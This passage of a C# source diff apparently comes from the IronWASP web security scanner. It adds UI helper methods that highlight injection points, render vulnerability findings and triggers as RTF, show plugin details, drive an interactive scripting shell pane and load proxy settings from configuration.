UI.ASCustomEndMarkerTB.Text = Scanner.DefaultEndMarker; + + DetectAndHighLightCustomInjectionPoints(); + } + + internal static void DetectAndHighLightCustomInjectionPoints() + { + if (Scanner.CurrentScanner == null) return; + if (Scanner.CurrentScanner.OriginalRequest == null) return; + + UI.ASRequestCustomInjectionPointsHighlightTB.Text = Scanner.CurrentScanner.OriginalRequest.BodyString; + string StartMarker = Scanner.CurrentScanner.CustomInjectionPointStartMarker; + string EndMarker = Scanner.CurrentScanner.CustomInjectionPointEndMarker; + if (StartMarker.Length == 0 || EndMarker.Length == 0 || StartMarker.Equals(EndMarker)) + { + return; + } + int SSI = UI.ASRequestCustomInjectionPointsHighlightTB.SelectionStart; + int SSL = UI.ASRequestCustomInjectionPointsHighlightTB.SelectionLength; + string TempText = UI.ASRequestCustomInjectionPointsHighlightTB.Text; + UI.ASRequestCustomInjectionPointsHighlightTB.Text = TempText;//this is done to clear all previous selection highlighting + bool CheckFurther = true; + int Pointer = 0; + string Content = UI.ASRequestCustomInjectionPointsHighlightTB.Text; + int MatchCount = 0; + while (CheckFurther && Content.Length > Pointer) + { + int Start = Content.IndexOf(StartMarker, Pointer); + int Stop = -1; + if (Content.Length >= (Start + StartMarker.Length)) + Stop = Content.IndexOf(EndMarker, Start + StartMarker.Length); + if (Start == -1 || Stop == -1) CheckFurther = false; + if (CheckFurther) + { + UI.ASRequestCustomInjectionPointsHighlightTB.SelectionStart = Start; + UI.ASRequestCustomInjectionPointsHighlightTB.SelectionLength = (Stop + EndMarker.Length) - Start; + UI.ASRequestCustomInjectionPointsHighlightTB.SelectionBackColor = Color.Orange; + MatchCount++; + } + Pointer = Stop + EndMarker.Length; + } + UI.ASRequestCustomInjectionPointsHighlightTB.SelectionStart = SSI; + UI.ASRequestCustomInjectionPointsHighlightTB.SelectionLength = SSL; + + UI.ASRequestCustomInjectionPointsHighlightLbl.Text = string.Format("No. of Injection Points: {0}", MatchCount); + if (MatchCount > 0) + UI.ASRequestScanBodyCB.Checked = true; + else + UI.ASRequestScanBodyCB.Checked = false; + } + + delegate void ResetConfigureScanFields_d(); + internal static void ResetConfigureScanFields() + { + if (UI.ASRequestScanAllCB.InvokeRequired) + { + ResetConfigureScanFields_d RCSF_d = new ResetConfigureScanFields_d(ResetConfigureScanFields); + UI.Invoke(RCSF_d, new object[] { }); + } + else + { + UI.ASRequestScanAllCB.Checked = false; + UI.ASRequestScanURLCB.Checked = false; + UI.ASRequestScanQueryCB.Checked = false; + UI.ASRequestScanBodyCB.Checked = false; + UI.ASRequestScanCookieCB.Checked = false; + UI.ASRequestScanHeadersCB.Checked = false; + UI.ASRequestScanURLGrid.Rows.Clear(); + UI.ASRequestScanQueryGrid.Rows.Clear(); + UI.ASRequestScanBodyTypeNormalGrid.Rows.Clear(); + UI.ConfigureScanRequestBodyTypeFormatPluginGrid.Rows.Clear(); + UI.ASRequestCustomInjectionPointsHighlightTB.Text = ""; + UI.ASRequestCustomInjectionPointsHighlightLbl.Text = "Number of Injection Points Detected: 0"; + UI.ASRequestScanCookieGrid.Rows.Clear(); + UI.ASRequestScanHeadersGrid.Rows.Clear(); + //UI.ASSessionPluginsCombo.Items.Clear(); + //UI.ASSessionPluginsCombo.Text = ""; + UI.SessionPluginLbl.Text = "Session Plugin: "; + UI.ASRequestRawHeadersIDV.Text = ""; + UI.ASRequestRawBodyIDV.Text = ""; + UI.ConfigureScanRequestSSLCB.Checked = false; + UI.ScanIDLbl.Text = "Scan ID:"; + UI.ScanStatusLbl.Text = "Scan Status:"; + ResetConfigureScanException(); + } + } + + delegate void FillConfigureScanFormatDetails_d(string XML, string[,] InjectionArray, List CheckStatus, bool CheckAll, string PluginName); + internal static void FillConfigureScanFormatDetails(string XML, string[,] InjectionArray, List CheckStatus, bool CheckAll, string PluginName) + { + if (UI.ConfigureScanRequestBodyTypeFormatPluginGrid.InvokeRequired) + { + FillConfigureScanFormatDetails_d FCSFD_d = new FillConfigureScanFormatDetails_d(FillConfigureScanFormatDetails); + UI.Invoke(FCSFD_d, new object[] { XML, InjectionArray, CheckStatus, CheckAll, PluginName }); + } + else + { + UI.ConfigureScanRequestFormatXMLTB.Text = XML; + if (CheckStatus.Count != InjectionArray.GetLength(0)) + { + CheckStatus.Clear(); + for (int i = 0; i < InjectionArray.GetLength(0); i++) + { + CheckStatus.Add(CheckAll); + } + } + //UI.ASRequestTabs.SelectTab("ASRequestBodyTab"); + UI.ConfigureScanRequestBodyTypeFormatPluginGrid.Rows.Clear(); + Parameters BodyXmlInjectionParameters = new Parameters(); + for (int i = 0; i < InjectionArray.GetLength(0); i++) + { + UI.ConfigureScanRequestBodyTypeFormatPluginGrid.Rows.Add(new object[] { CheckStatus[i], InjectionArray[i, 0], InjectionArray[i, 1] }); + BodyXmlInjectionParameters.Add(InjectionArray[i, 0], InjectionArray[i, 1]); + } + Scanner.CurrentScanner.BodyXmlInjectionParameters = BodyXmlInjectionParameters; + UI.ASRequestScanBodyCB.Checked = CheckAll; + foreach (DataGridViewRow Row in UI.ConfigureScanRequestFormatPluginsGrid.Rows) + { + if (Row.Cells[1].Value.ToString().Equals(PluginName)) + Row.Cells[0].Value = true; + else + Row.Cells[0].Value = false; + } + } + } + + delegate void UpdateResultsTab_d(Finding PR); + internal static void UpdateResultsTab(Finding PR) + { + if (UI.ResultsDisplayRTB.InvokeRequired) + { + UpdateResultsTab_d URT_d = new UpdateResultsTab_d(UpdateResultsTab); + UI.Invoke(URT_d, new object[] { PR }); + } + else + { + ResetPluginResultsTab(); + StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;}"); + SB.Append(@" \b \fs30"); SB.Append(Tools.RtfSafe(PR.Title)); SB.Append(@"\b0 \fs20 \par \par"); + SB.Append(@" \cf1 \b Finding ID: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(PR.Id.ToString())); SB.Append(@" \par"); + if (PR.Type == FindingType.Vulnerability) + { + SB.Append(@" \par \cf1 \b Severity: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(PR.Severity.ToString())); SB.Append(@" \par"); + SB.Append(@" \cf1 \b Confidence: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(PR.Confidence.ToString())); SB.Append(@" \par \par"); + } + switch (PR.FinderType) + { + case("ActivePlugin"): + SB.Append(@" \cf1 \b Discovery Mode: \b0 \cf0 Automated Vulnerability Scan \par"); + SB.Append(@" \cf1 \b Scan ID: \b0 \cf0 "); SB.AppendLine(PR.ScanId.ToString()); SB.Append(@" \par"); + SB.Append(@" \cf1 \b Vulnerability Check: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(PR.FinderName)); SB.Append(@" \par"); + break; + case ("PassivePlugin"): + SB.Append(@" \cf1 \b Discovery Mode: \b0 \cf0 Passive Traffic Analysis \par"); + SB.Append(@" \cf1 \b Passive Plugin Name: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(PR.FinderName)); SB.Append(@" \par"); + break; + default: + if (PR.FinderType.Length > 0 || PR.FinderName.Length > 0) + { + SB.Append(@" \cf1 \b Discovered By: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(string.Format("{0} {1}",PR.FinderName, PR.FinderType))); SB.Append(@" \par"); + } + break; + } + SB.Append(@" \par"); + SB.Append(@" \cf1 \b Summary: \b0 \cf0 \par "); + SB.AppendLine(Tools.RtfSafe(PR.Summary)); + SB.Append(@" \par "); + switch (PR.FinderType) + { + case("ActivePlugin"): + StringBuilder ASB = new StringBuilder(); + if (PR.Reasons.Count > 0) + { + ASB.Append(">IronWASP has reported this issue because of the following reasons:>"); + for (int i = 0; i < PR.Reasons.Count; i++) + { + ASB.Append(string.Format(">>>Reason {0}:>> >", i + 1)); + ASB.Append(PR.Reasons[i].Reason); + + if (PR.Reasons[i].TriggerIds.Count > 0) + { + ASB.Append(">>The request and response associated with this check can be seen by clicking on "); + if (PR.Reasons[i].TriggerIds.Count == 1) + { + ASB.Append("Trigger "); ASB.Append(PR.Reasons[i].TriggerIds[0]); + } + else + { + ASB.Append("Triggers "); + for(int ii=0; ii < PR.Reasons[i].TriggerIds.Count; ii++) + { + if (ii == 0) + { + ASB.Append(PR.Reasons[i].TriggerIds[ii]); + } + else if (ii == PR.Reasons[i].TriggerIds.Count - 1) + { + ASB.Append(" and "); ASB.Append(PR.Reasons[i].TriggerIds[ii]); + } + else + { + ASB.Append(", "); ASB.Append(PR.Reasons[i].TriggerIds[ii]); + } + } + } + ASB.Append(">The 'Trigger Analysis Tools' section has tools to compare the Request/Response of two different triggers or one trigger and the normal Request/Response."); + ASB.Append(">Doing a right-click on a Trigger id will show a menu with options to resend selected request or to send it after editing. Click on the 'Select this Request for Manual Testing' option in that menu for this feature."); + } + if (PR.Reasons[i].FalsePositiveCheck.Length > 0) + { + ASB.Append(">>>>False Positive Check Assistance:>>>"); + ASB.Append(PR.Reasons[i].FalsePositiveCheck); + ASB.Append(">"); + } + } + } + ASB.Append(">>More Scan Information:>>"); + ASB.Append("To view all the payloads, requests/responses and detailed scan trace information associated with this vulnerability detection scan, please click on the associated button in the >Trigger Analysis Tools> section below.>"); + SB.Append(Tools.RtfSafe(ASB.ToString())); + break; + case("PassivePlugin"): + Request AHR = new Request(PR.AffectedHost); + StringBuilder PSB = new StringBuilder(); + PSB.Append(">>>>NOTE:>>>"); + PSB.Append(string.Format("There might be more instances of this issue in >{0}> but they have not been reported to avoid creating a lot of noise.", AHR.Host)); + PSB.Append(string.Format(">>In order to identify every single instance of this issue on >{0}> follow these steps:", AHR.Host)); + PSB.Append(">1) Go to the 'Logs' section in IronWASP and click on the 'Search and Analyze Logs' button"); + PSB.Append(">2) Select the logs on which you want to do the analysis. Proxy logs would be selected by default."); + PSB.Append(">3) Click the checkbox before the Hostname filter option and then click on the '+' radio button to set this filter option as a white-list."); + PSB.Append(string.Format(">4) Now enter the hostname >{0}> in to the textbox field in this area. Donot add http:// or https:// or / here.", AHR.Host)); + PSB.Append(">5) If required you can configure some of the other options to set the search filter and then click on the 'Search with this Filter' button to perform a search."); + PSB.Append(">6) Click on the 'Select all rows' checkbox in the search results section and then click on the 'Test Selected Sessions' button."); + PSB.Append(">7) A new window wil appear, select the 'Run Passive Plugins on Selected Sessions' option here and click the 'Next Step' button."); + PSB.Append(string.Format(">8) You will be shown a list of Passive Plugins, select the one named >{0}> and click the 'Start Test' button", PR.FinderName)); + PSB.Append(">9) Now you will be shown all instances of this issue present in the logs matching your search filter."); + SB.Append(Tools.RtfSafe(PSB.ToString())); + break; + + } + UI.ResultsDisplayRTB.Rtf = SB.ToString(); + + if (PR.FromActiveScan && PR.BaseRequest != null && PR.BaseResponse != null) + { + UI.ResultsTriggersGrid.Rows.Add(new object[] { "Normal" }); + UI.SelectForDiffTriggersGrid.Rows.Add(new object[] { false, "Normal" }); + } + for (int i=0; i < PR.Triggers.GetTriggers().Count; i++ ) + { + UI.ResultsTriggersGrid.Rows.Add(new object[] { string.Format("Trigger {0}", i + 1) }); + UI.SelectForDiffTriggersGrid.Rows.Add(new object[] { false, string.Format("Trigger {0}", i + 1) }); + } + if (UI.ResultsTriggersGrid.Rows.Count > 0) + { + if (PR.FromActiveScan && UI.ResultsTriggersGrid.Rows.Count == 2) + { + UI.ResultsTriggersGrid.Rows[1].Selected = false; + UI.ResultsTriggersGrid.Rows[1].Selected = true; + } + else + { + UI.ResultsTriggersGrid.Rows[0].Selected = false; + UI.ResultsTriggersGrid.Rows[0].Selected = true; + } + //DisplayPluginResultsTrigger(0); + } + if (!UI.main_tab.SelectedTab.Name.Equals("mt_results")) UI.main_tab.SelectTab("mt_results"); + } + } + + internal static void ResetPluginResultsTab() + { + UI.ResultsDisplayRTB.Text = ""; + UI.ResultsTriggersGrid.Rows.Clear(); + UI.SelectForDiffTriggersGrid.Rows.Clear(); + ResetPluginResultsFields(); + } + + delegate void UpdateResultsTabWithException_d(IronException IrEx); + internal static void UpdateResultsTab(IronException IrEx) + { + if (UI.ResultsDisplayRTB.InvokeRequired) + { + UpdateResultsTabWithException_d URTWE_d = new UpdateResultsTabWithException_d(UpdateResultsTab); + UI.Invoke(URTWE_d, new object[] { IrEx }); + } + else + { + ResetPluginResultsTab(); + StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;}"); + SB.Append(@" \b \fs30 "); SB.Append(Tools.RtfSafe(IrEx.Title)); SB.Append(@"\b0 "); + SB.Append(@" \par"); SB.Append(@" \par"); SB.Append(@" \fs20 "); + SB.AppendLine(Tools.RtfSafe(IrEx.Message)); SB.Append(@" \par \par "); + SB.Append(@" \cf1 \b StackTrace: \b0 \cf0 "); SB.Append(@" \par "); SB.AppendLine(Tools.RtfSafe(IrEx.StackTrace.Replace("\r\n",">"))); + SB.Append(@" \par "); SB.Append(@" \par "); + UI.ResultsDisplayRTB.Rtf = SB.ToString(); + UI.ResultsTriggersGrid.Rows.Clear(); + if (!UI.main_tab.SelectedTab.Name.Equals("mt_results")) UI.main_tab.SelectTab("mt_results"); + } + } + + //delegate void UpdateResultsTabWithSiteMapLog_d(string Host, string Url); + //internal static void UpdateResultsTab(string Host, string Url) + delegate void UpdateResultsTabWithSiteMapLog_d(Request UrlReq); + internal static void UpdateResultsTab(Request UrlReq) + { + if (UI.ResultsDisplayRTB.InvokeRequired) + { + UpdateResultsTabWithSiteMapLog_d URTWSML_d = new UpdateResultsTabWithSiteMapLog_d(UpdateResultsTab); + UI.Invoke(URTWSML_d, new object[] { UrlReq }); + } + else + { + ResetPluginResultsTab(); + UI.SiteMapLogGrid.Visible = false; + UI.SiteMapLogGrid.Rows.Clear(); + foreach (DataGridViewRow Row in UI.ProxyLogGrid.Rows) + { + if ((bool)Row.Cells["ProxyLogGridColumnForSSL"].Value != UrlReq.SSL) continue; + if (!Row.Cells["ProxyLogGridColumnForHostName"].Value.ToString().Equals(UrlReq.Host)) continue; + if (!Row.Cells["ProxyLogGridColumnForURL"].Value.ToString().StartsWith(UrlReq.Url)) continue; + + UI.SiteMapLogGrid.Rows.Add(new object[] { Row.Cells["ProxyLogGridColumnForID"].Value, "Proxy", Row.Cells["ProxyLogGridColumnForHostName"].Value, Row.Cells["ProxyLogGridColumnForMethod"].Value, Row.Cells["ProxyLogGridColumnForURL"].Value, Row.Cells["ProxyLogGridColumnForFile"].Value, Row.Cells["ProxyLogGridColumnForSSL"].Value, Row.Cells["ProxyLogGridColumnForParameters"].Value, Row.Cells["ProxyLogGridColumnForCode"].Value, Row.Cells["ProxyLogGridColumnForLength"].Value, Row.Cells["ProxyLogGridColumnForMIME"].Value, Row.Cells["ProxyLogGridColumnForSetCookie"].Value }); + } + foreach (DataGridViewRow Row in UI.TestLogGrid.Rows) + { + if ((bool)Row.Cells["MTLogGridColumnForSSL"].Value != UrlReq.SSL) continue; + if (!Row.Cells["MTLogGridColumnForHostName"].Value.ToString().Equals(UrlReq.Host)) continue; + if (!Row.Cells["MTLogGridColumnForURL"].Value.ToString().StartsWith(UrlReq.Url)) continue; + + UI.SiteMapLogGrid.Rows.Add(new object[] { Row.Cells["MTLogGridColumnForID"].Value, "Test", Row.Cells["MTLogGridColumnForHostName"].Value, Row.Cells["MTLogGridColumnForMethod"].Value, Row.Cells["MTLogGridColumnForURL"].Value, Row.Cells["MTLogGridColumnForFile"].Value, Row.Cells["MTLogGridColumnForSSL"].Value, Row.Cells["MTLogGridColumnForParameters"].Value, Row.Cells["MTLogGridColumnForCode"].Value, Row.Cells["MTLogGridColumnForLength"].Value, Row.Cells["MTLogGridColumnForMIME"].Value, Row.Cells["MTLogGridColumnForSetCookie"].Value }); + } + foreach (DataGridViewRow Row in UI.ShellLogGrid.Rows) + { + if ((bool)Row.Cells["ScriptingLogGridColumnForSSL"].Value != UrlReq.SSL) continue; + if (!Row.Cells["ScriptingLogGridColumnForHostName"].Value.ToString().Equals(UrlReq.Host)) continue; + if (!Row.Cells["ScriptingLogGridColumnForURL"].Value.ToString().StartsWith(UrlReq.Url)) continue; + + UI.SiteMapLogGrid.Rows.Add(new object[] { Row.Cells["ScriptingLogGridColumnForID"].Value, "Shell", Row.Cells["ScriptingLogGridColumnForHostName"].Value, Row.Cells["ScriptingLogGridColumnForMethod"].Value, Row.Cells["ScriptingLogGridColumnForURL"].Value, Row.Cells["ScriptingLogGridColumnForFile"].Value, Row.Cells["ScriptingLogGridColumnForSSL"].Value, Row.Cells["ScriptingLogGridColumnForParameters"].Value, Row.Cells["ScriptingLogGridColumnForCode"].Value, Row.Cells["ScriptingLogGridColumnForLength"].Value, Row.Cells["ScriptingLogGridColumnForMIME"].Value, Row.Cells["ScriptingLogGridColumnForSetCookie"].Value }); + } + foreach (DataGridViewRow Row in UI.ProbeLogGrid.Rows) + { + if ((bool)Row.Cells["ProbeLogGridColumnForSSL"].Value != UrlReq.SSL) continue; + if (!Row.Cells["ProbeLogGridColumnForHostName"].Value.ToString().Equals(UrlReq.Host)) continue; + if (!Row.Cells["ProbeLogGridColumnForURL"].Value.ToString().StartsWith(UrlReq.Url)) continue; + + UI.SiteMapLogGrid.Rows.Add(new object[] { Row.Cells["ProbeLogGridColumnForID"].Value, "Probe", Row.Cells["ProbeLogGridColumnForHostName"].Value, Row.Cells["ProbeLogGridColumnForMethod"].Value, Row.Cells["ProbeLogGridColumnForURL"].Value, Row.Cells["ProbeLogGridColumnForFile"].Value, Row.Cells["ProbeLogGridColumnForSSL"].Value, Row.Cells["ProbeLogGridColumnForParameters"].Value, Row.Cells["ProbeLogGridColumnForCode"].Value, Row.Cells["ProbeLogGridColumnForLength"].Value, Row.Cells["ProbeLogGridColumnForMIME"].Value, Row.Cells["ProbeLogGridColumnForSetCookie"].Value }); + } + foreach (DataGridViewRow Row in UI.ScanLogGrid.Rows) + { + if ((bool)Row.Cells["ScanLogGridColumnForSSL"].Value != UrlReq.SSL) continue; + if (!Row.Cells["ScanLogGridColumnForHost"].Value.ToString().Equals(UrlReq.Host)) continue; + if (!Row.Cells["ScanLogGridColumnForURL"].Value.ToString().StartsWith(UrlReq.Url)) continue; + + UI.SiteMapLogGrid.Rows.Add(new object[] { Row.Cells["ScanLogGridColumnForID"].Value, "Scan", Row.Cells["ScanLogGridColumnForHost"].Value, Row.Cells["ScanLogGridColumnForMethod"].Value, Row.Cells["ScanLogGridColumnForURL"].Value, Row.Cells["ScanLogGridColumnForFile"].Value, Row.Cells["ScanLogGridColumnForSSL"].Value, Row.Cells["ScanLogGridColumnForParameters"].Value, Row.Cells["ScanLogGridColumnForCode"].Value, Row.Cells["ScanLogGridColumnForLength"].Value, Row.Cells["ScanLogGridColumnForMIME"].Value, Row.Cells["ScanLogGridColumnForSetCookie"].Value }); + } + if (!UI.main_tab.SelectedTab.Name.Equals("mt_logs")) UI.main_tab.SelectTab("mt_logs"); + if (!UI.LogTabs.SelectedTab.Name.Equals("SiteMapLogTab")) UI.LogTabs.SelectTab("SiteMapLogTab"); + IronUI.LogGridStatus(true); + ResetPluginResultsTab(); + UI.SiteMapLogGrid.Visible = true; + } + } + + internal static void DisplayPluginDetails(string[] PluginDetails) + { + string Language = "Python"; + if (PluginDetails[4].Equals("Ruby")) Language = "Ruby"; + StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;}"); + SB.Append(@" \b \fs30"); SB.Append(Tools.RtfSafe(PluginDetails[0])); SB.Append(@"\b0 "); + SB.Append(@" \par \par \fs20"); + SB.Append(@" \cf1 \b Language: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(PluginDetails[4])); SB.Append(@" \par"); + SB.Append(@" \cf1 \b File: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(PluginDetails[2])); SB.Append(@" \par"); + SB.Append(@" \par"); + SB.Append(@" \cf1 \b Description: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(PluginDetails[1])); SB.Append(@" \par"); + SB.Append(@" \par"); + UI.PluginDetailsRTB.Rtf = SB.ToString(); + UI.PluginEditorInTE.Text = PluginDetails[3]; + Directory.SetCurrentDirectory(Config.RootDir); + UI.PluginEditorInTE.SetHighlighting(Language); + UI.PluginEditorInTE.Refresh(); + } + + internal static void DisplayModuleDetails(string[] ModuleDetails) + { + string Language = "Python"; + if (ModuleDetails[4].Equals("Ruby")) Language = "Ruby"; + StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;}"); + SB.Append(@" \b \fs30"); SB.Append(Tools.RtfSafe(ModuleDetails[5])); SB.Append(@"\b0 "); + SB.Append(@" \par \par \fs20"); + SB.Append(@" \cf1 \b Name: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(ModuleDetails[0])); SB.Append(@" \par"); + SB.Append(@" \cf1 \b Language: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(ModuleDetails[4])); SB.Append(@" \par"); + SB.Append(@" \cf1 \b File: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(ModuleDetails[2])); SB.Append(@" \par"); + SB.Append(@" \par"); + SB.Append(@" \cf1 \b Description: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(ModuleDetails[1])); SB.Append(@" \par"); + SB.Append(@" \par"); + UI.PluginDetailsRTB.Rtf = SB.ToString(); + UI.PluginEditorInTE.Text = ModuleDetails[3]; + Directory.SetCurrentDirectory(Config.RootDir); + UI.PluginEditorInTE.SetHighlighting(Language); + UI.PluginEditorInTE.Refresh(); + } + + delegate void FreezeInteractiveShellUI_d(); + internal static void FreezeInteractiveShellUI() + { + if (UI.InteractiveShellOut.InvokeRequired) + { + FreezeInteractiveShellUI_d FISU_d = new FreezeInteractiveShellUI_d(FreezeInteractiveShellUI); + UI.Invoke(FISU_d, new object[] { }); + } + else + { + UI.InteractiveShellCtrlCBtn.Enabled = true; + UI.MultiLineShellExecuteBtn.Enabled = false; + UI.InteractiveShellPromptBox.BackColor = Color.DimGray; + UI.InteractiveShellIn.BackColor = Color.DimGray; + UI.InteractiveShellIn.ReadOnly = true; + // + UI.InteractiveShellPythonRB.Enabled = false; + UI.InteractiveShellRubyRB.Enabled = false; + } + } + + delegate void ActivateinteractiveShellUI_d(); + internal static void ActivateinteractiveShellUI() + { + if (UI.InteractiveShellOut.InvokeRequired) + { + ActivateinteractiveShellUI_d AISU_d = new ActivateinteractiveShellUI_d(ActivateinteractiveShellUI); + UI.Invoke(AISU_d, new object[] { }); + } + else + { + UI.InteractiveShellCtrlCBtn.Enabled = false; + UI.MultiLineShellExecuteBtn.Enabled = true; + UI.InteractiveShellPromptBox.BackColor = Color.Black; + UI.InteractiveShellIn.BackColor = Color.Black; + UI.InteractiveShellIn.ReadOnly = false; + UI.InteractiveShellPythonRB.Enabled = true; + UI.InteractiveShellRubyRB.Enabled = true; + UI.InteractiveShellIn.Focus(); + } + } + + delegate void UpdateInteractiveShellOut_d(string Output); + internal static void UpdateInteractiveShellOut(string Output) + { + if (UI.InteractiveShellOut.InvokeRequired) + { + UpdateInteractiveShellOut_d UISO_d = new UpdateInteractiveShellOut_d(UpdateInteractiveShellOut); + UI.Invoke(UISO_d, new object[] { Output }); + } + else + { + IronScripting.ShellOutText.Append(Output); + if (IronScripting.CheckOnOutText()) + { + UI.InteractiveShellOut.Text = IronScripting.ShellOutText.ToString().TrimEnd(); + UI.InteractiveShellOut.AppendText("\r\n"); + } + else + { + UI.InteractiveShellOut.AppendText(Output); + } + } + } + + delegate void UpdateInteractiveShellResult_d(InteractiveShellResult ISR); + internal static void UpdateInteractiveShellResult(InteractiveShellResult ISR) + { + if (UI.InteractiveShellOut.InvokeRequired) + { + UpdateInteractiveShellResult_d UISR_d = new UpdateInteractiveShellResult_d(UpdateInteractiveShellResult); + UI.Invoke(UISR_d, new object[] { ISR }); + } + else + { + if (ISR.MoreExpected) + { + UpdateInteractiveShellOut(IronScripting.ShellPrompt); + } + else if(ISR.ResultString.Length > 0) + { + UpdateInteractiveShellOut(ISR.ResultString); + } + UpdateShellInPrompt(IronScripting.ShellPrompt); + ActivateinteractiveShellUI(); + } + } + + delegate void ResetInteractiveShellResult_d(); + internal static void ResetInteractiveShellResult() + { + if (UI.InteractiveShellOut.InvokeRequired) + { + ResetInteractiveShellResult_d RISR_d = new ResetInteractiveShellResult_d(ResetInteractiveShellResult); + UI.Invoke(RISR_d, new object[] { }); + } + else + { + IronUI.UI.InteractiveShellOut.Text = ""; + } + + } + + delegate void EndInitialiseAll_d(); + internal static void EndInitialiseAll() + { + if (UI.InvokeRequired) + { + EndInitialiseAll_d EIA_d = new EndInitialiseAll_d(EndInitialiseAll); + UI.Invoke(EIA_d, new object[] { }); + } + else + { + UI.Visible = true; + } + + } + + delegate void EnableStoredRequestBtn_d(); + internal static void EnableStoredRequestBtn() + { + if (UI.MTStoredRequestBtn.InvokeRequired) + { + EnableStoredRequestBtn_d ESRB_d = new EnableStoredRequestBtn_d(EnableStoredRequestBtn); + UI.Invoke(ESRB_d, new object[] { }); + } + else + { + UI.MTStoredRequestBtn.Enabled = true; + } + } + delegate void UpdateProxyStatusInConfigPanel_d(bool Started); + internal static void UpdateProxyStatusInConfigPanel(bool Started) + { + if (UI.ConfigSetAsSystemProxyCB.InvokeRequired) + { + UpdateProxyStatusInConfigPanel_d UPSICP_d = new UpdateProxyStatusInConfigPanel_d(UpdateProxyStatusInConfigPanel); + UI.Invoke(UPSICP_d, new object[] { Started }); + } + else + { + if (Started) + { + IronUI.UI.ConfigSetAsSystemProxyCB.Enabled = true; + } + else + { + IronUI.UI.ConfigSetAsSystemProxyCB.Enabled = false; + } + } + } + + delegate void ShowProxyStoppedError_d(string Error); + internal static void ShowProxyStoppedError(string Error) + { + if (UI.ConfigSetAsSystemProxyCB.InvokeRequired) + { + ShowProxyStoppedError_d SPSE_d = new ShowProxyStoppedError_d(ShowProxyStoppedError); + UI.Invoke(SPSE_d, new object[] { Error }); + } + else + { + IronUI.ShowProxyException(Error); + if(!IronUI.UI.main_tab.SelectedTab.Name.Equals("mt_proxy")) IronUI.UI.main_tab.SelectTab("mt_proxy"); + MakeUiTopMost(true); + } + } + + delegate void UpdateUIFromConfig_d(); + internal static void UpdateUIFromConfig() + { + if (UI.InvokeRequired) + { + UpdateUIFromConfig_d UUFC_d = new UpdateUIFromConfig_d(UpdateUIFromConfig); + UI.Invoke(UUFC_d, new object[] { }); + } + else + { + UpdateProxySettingFromConfig(); + UpdateUpstreamProxySettingFromConfig(); + UpdatePyPathsFromConfig(); + UpdateRbPathsFromConfig(); + UpdatePyCommandsFromConfig(); + UpdateRbCommandsFromConfig(); + UpdateRequestTextTypesFromConfig(); + UpdateResponseTextTypesFromConfig(); + UpdateLogDisplayFilterInUIFromConfig(); + UpdateInterceptionRulesInUIFromConfig(); + UpdateJSTaintConfigInUIFromConfig(); + UpdateScannerSettingsInUIFromConfig(); + UpdatePassiveAnalysisSettingsInUIFromConfig(); + UpdateJavaScriptTraceSettingsInUiFromConfig(); + } + } + + delegate void SetProxyPortLabel_d(); + internal static void SetProxyPortLabel() + { + if (UI.ProxyPortLbl.InvokeRequired) + { + SetProxyPortLabel_d CALL_d = new SetProxyPortLabel_d(SetProxyPortLabel); + UI.Invoke(CALL_d, new object[] { }); + } + else + { + UI.ProxyPortLbl.Text = IronProxy.Port.ToString(); + } + } + + delegate void SetProxyLoopbackLabel_d(); + internal static void SetProxyLoopbackLabel() + { + if (UI.ProxyLoopbackLbl.InvokeRequired) + { + SetProxyLoopbackLabel_d CALL_d = new SetProxyLoopbackLabel_d(SetProxyLoopbackLabel); + UI.Invoke(CALL_d, new object[] { }); + } + else + { + if (IronProxy.LoopBackOnly) + { + UI.ProxyLoopbackLbl.Text = "No"; + } + else + { + UI.ProxyLoopbackLbl.Text = "Yes"; + } + } + } + + internal static void UpdateProxySettingFromConfig() + { + UI.ConfigSetAsSystemProxyCB.Checked = IronProxy.SystemProxy; + } + + internal static void UpdateUpstreamProxySettingFromConfig() + { + bool UseUpStream = IronProxy.UseUpstreamProxy; + IronProxy.UseUpstreamProxy = UseUpStream; + } + + internal static void UpdatePyPathsFromConfig() + { + StringBuilder PyPaths = new StringBuilder(); + foreach(string Path in IronScripting.PyPaths) + { + PyPaths.AppendLine(Path); + } + UI.ConfigScriptPyPathsTB.Text = PyPaths.ToString(); + } + + internal static void UpdateRbPathsFromConfig() + { + StringBuilder RbPaths = new StringBuilder(); + foreach (string Path in IronScripting.RbPaths) + { + RbPaths.AppendLine(Path); + } + UI.ConfigScriptRbPathsTB.Text = RbPaths.ToString(); + } + + internal static void UpdatePyCommandsFromConfig() + { + StringBuilder PyCommands = new StringBuilder(); + foreach (string Command in IronScripting.PyCommands) + { + PyCommands.AppendLine(Command); + } + UI.ConfigScriptPyCommandsTB.Text = PyCommands.ToString(); + } + + internal static void UpdateRbCommandsFromConfig() + { + StringBuilder RbCommands = new StringBuilder(); + foreach (string Command in IronScripting.RbCommands) + { + RbCommands.AppendLine(Command); + } + UI.ConfigScriptRbCommandsTB.Text = RbCommands.ToString(); + } + + internal static void UpdateRequestTextTypesFromConfig() + { + StringBuilder Types = new StringBuilder(); + foreach (string Type in Request.TextContentTypes) + { + Types.AppendLine(Type); + } + UI.ConfigRequestTypesTB.Text = Types.ToString(); + } + + internal static void UpdateResponseTextTypesFromConfig() + { + StringBuilder Types = new StringBuilder(); + foreach (string Type in Response.TextContentTypes) + { + Types.AppendLine(Type); + } + UI.ConfigResponseTypesTB.Text = Types.ToString(); + } + + internal static void UpdateLogDisplayFilterInUIFromConfig() + { + UI.ConfigDisplayRuleGETMethodCB.Checked = IronProxy.DisplayGET; + UI.ConfigDisplayRulePOSTMethodCB.Checked = IronProxy.DisplayPOST; + 